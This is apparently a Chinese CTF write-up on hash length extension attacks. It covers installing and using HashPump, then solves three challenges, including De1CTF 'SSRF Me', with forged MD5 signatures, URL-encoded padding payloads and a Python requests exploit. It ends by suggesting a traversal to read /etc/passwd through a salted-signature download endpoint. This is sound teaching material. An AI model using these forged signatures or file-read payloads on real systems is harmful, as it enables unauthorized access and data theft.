哈希长度扩展攻击以及HashPump安装使用和两道题目

能做什么

如果salt的值你不知道,但是你知道长度,又知道sha1(salt+“一组正确数据”),那么我们可以让sha1(salt+“填充数据”+“任意可控数据”)等于我们的sha1(salt+“一组正确数据”).这里的salt+“填充数据”就是对salt进行sha1时所补全的数据+最后8位的长度描述符。一般来说,salt+”填充数据”的长度就是64字节,正好是一个分组。如果salt的长度就大于了56个字节,那么加入填充数据后的长度应该是N个64字节,等于N个分组。
为什么?你可以想象,sha1程序再对(salt+“填充数据”+“任意可控数据”)进行hash时,只需要进行第二轮及第二轮以后的运算。因为第一轮运算后的registers值就是sha1(salt)的值,该值你已经知道了。

你把下面的例子中的“1234567890abcdeadminadmin”,"memeadmin"想成是salt,然后再考虑下呢?

HashPump安装

1
2
3
4
5
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

在执行make的时候可能会出现openssl/sha.h没有文件的错误
那么

1
2
sudo apt-get install openssl
sudo apt-get install libssl-dev

然后make 和make install即可
使用:

1
2
3
4
5
6
7
kitty@ubuntu:~/桌面/HashPump$ hashpump
Input Signature: c7813629f22b6a7d28a08041db3e80a9
Input Data: admin
Input Key Length: 4
Input Data to Add: joychou
06cf5a94dcda53659f58c0f411ba0bd8
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00joychou

参数说明

1
2
3
4
signature来自已知消息的签名。
data来自已知消息的数据。
additional您要添加到已知消息的信息。
keylength 用于对原始消息进行签名的密钥的长度(以字节为单位)。是除去一个admin的长度(具体看题)

得到的第一行是新的hash值 第二行是payload
或者用python包

题目

测试

其中$salt = "meme";玩家不可见,计算不能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$role = $_REQUEST["role"];
$hash = $_REQUEST["hash"];
$salt = "meme";
if ($hash !== md5($salt.$role)){
echo 'wrong!';
exit;
}
x
if ( $role == 'admin'){
echo 'wrong, hash cann\'t be admin';
exit;
}
echo "You are ".$role.'</br>';
echo 'Congradulation!';
//已知一组role为admin,salt长度为4,hash为c7813629f22b6a7d28a08041db3e80a9
?>

首先计算

1
2
3
4
5
6
7
kitty@ubuntu:~/桌面$ hashpump
Input Signature: c7813629f22b6a7d28a08041db3e80a9
Input Data: admin
Input Key Length: 4
Input Data to Add: st4ck
92910845adf673d71ca809b196bcab9e
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00st4ck

编码

1
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%00%00%00%00%00%00%00st4ck

然后传参,由于没有urldecode,所以要最好用get,因为get请求自带urldecode

1
2
http://localhost/index.php?role=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%00%00%00%00%00%00%00st4ck
内容:hash=92910845adf673d71ca809b196bcab9e

img

题目2-实验吧-为了方便改了一下本地测试

其中$secret="1234567890abcde";给玩家不可见,计算也不能使用这个数据,这里展示出来只是为了本地操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$secret="1234567890abcde"; // This secret is 15 characters long for security!
$username="admin";
$flag="flag{test}";
$password = $_POST["password"];

if($_POST["getmein"] === md5($secret . urldecode($username . $password))){
echo "Congratulations! You are a registered user.\n<br>";
die ("The flag is ". $flag);
}else{
die("Your cookies don't match up! STOP HACKING THIS SITE.");
}
// md5(1234567890abcdeadminadmin)=93a5e7bea9c040065617b1a62ffc3d72
?>

题目中能得到信息

1
md5($secret."adminadmin")的值为93a5e7bea9c040065617b1a62ffc3d72

稍微整理下我们已经知道的

1
2
3
$secret是密文,长度为15,如果再算上后面第一个admin,长度就是20
而数据是admin
签名(哈希值)是93a5e7bea9c040065617b1a62ffc3d72

第一步计算payload

1
2
3
4
5
6
7
kitty@ubuntu:~/桌面$ hashpump
Input Signature: 93a5e7bea9c040065617b1a62ffc3d72
Input Data: admin
Input Key Length: 20
Input Data to Add: st4ck
bf3722a5e102e94a83adef7cbf34a30b
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00st4ck

换一下编码

1
password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00st4ck&getmein=bf3722a5e102e94a83adef7cbf34a30b

由于自带urldecode,所以可以直接使用·

img

题目3-哈希长度拓展攻击之De1CTF - SSRF Me

给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

确实看起来好懵逼啊
意思是

1
2
3
4
5
提示给的是 flag 在 ./flag.txt 中

python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战

大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txt,action 中要含有 read 和 scan,且 sign=md5(secert_key + param + action)

使用哈希拓展攻击

1
secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 4bb4d74933b882b845a15a384f927bab,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

首先用hashpump

1
2
3
4
5
6
7
kitty@ubuntu:~/桌面$ hashpump
Input Signature: 4bb4d74933b882b845a15a384f927bab
Input Data: scan
Input Key Length: 24
Input Data to Add: read
13e9cdc14801527def75d258d46cab59
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

所以exp为:

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://acc709a0-59ca-44ac-9af9-5cf20b5635c0.node2.buuoj.cn.wetolink.com:82/De1ta?param=flag.txt'

cookies = {
'sign': '13e9cdc14801527def75d258d46cab59',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}

res = requests.get(url=url, cookies=cookies)
print(res.text)

也可以字符串拼接
不妨假设 secert_key 是 xxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于md5(xxxflag.txtscan),这就很有意思了。

直接构造访问/geneSign?param=flag.txtread ,拿到的 md5 就是md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan'),这就达到了目标。
因为md5('xxx' + 'flag.txtread' + 'scan')等于md5('xxx' + 'flag.txt' + 'readscan')
然后直接访问 /De1ta?param=flag.txt构造 cookie: action=readscan;sign={上面获得的md5值}即可

想法

通过以上的分析,想必大家对此攻击有了更深入的认识。只要存在脆弱的(使用此类散列算法)Message authentication codes (MACs)用于验证信息真实性的地方就很可能受此攻击。
比如,我们发现了这样的一个下载文件的接口:/download?name=test.pdf&sig=6543109bb53887f7bb46fe424f26e24asig可能是这个文件的某种校验签名,如果想通过这个接口下载其他文件就会失败,因为sig校验不过。同时还会发现md5(name) !== sig,很明显在校验算法中添加了盐,如果我们想下载任意的文件比如test.pdf%00/../../../../etc/passwd,正常情况下是没办法的,因为有盐,所以我们无法构造自己的签名值,但是如果服务端使用了类似if ($sig === md5($salt.$name))的校验代码,那么就会存在此攻击。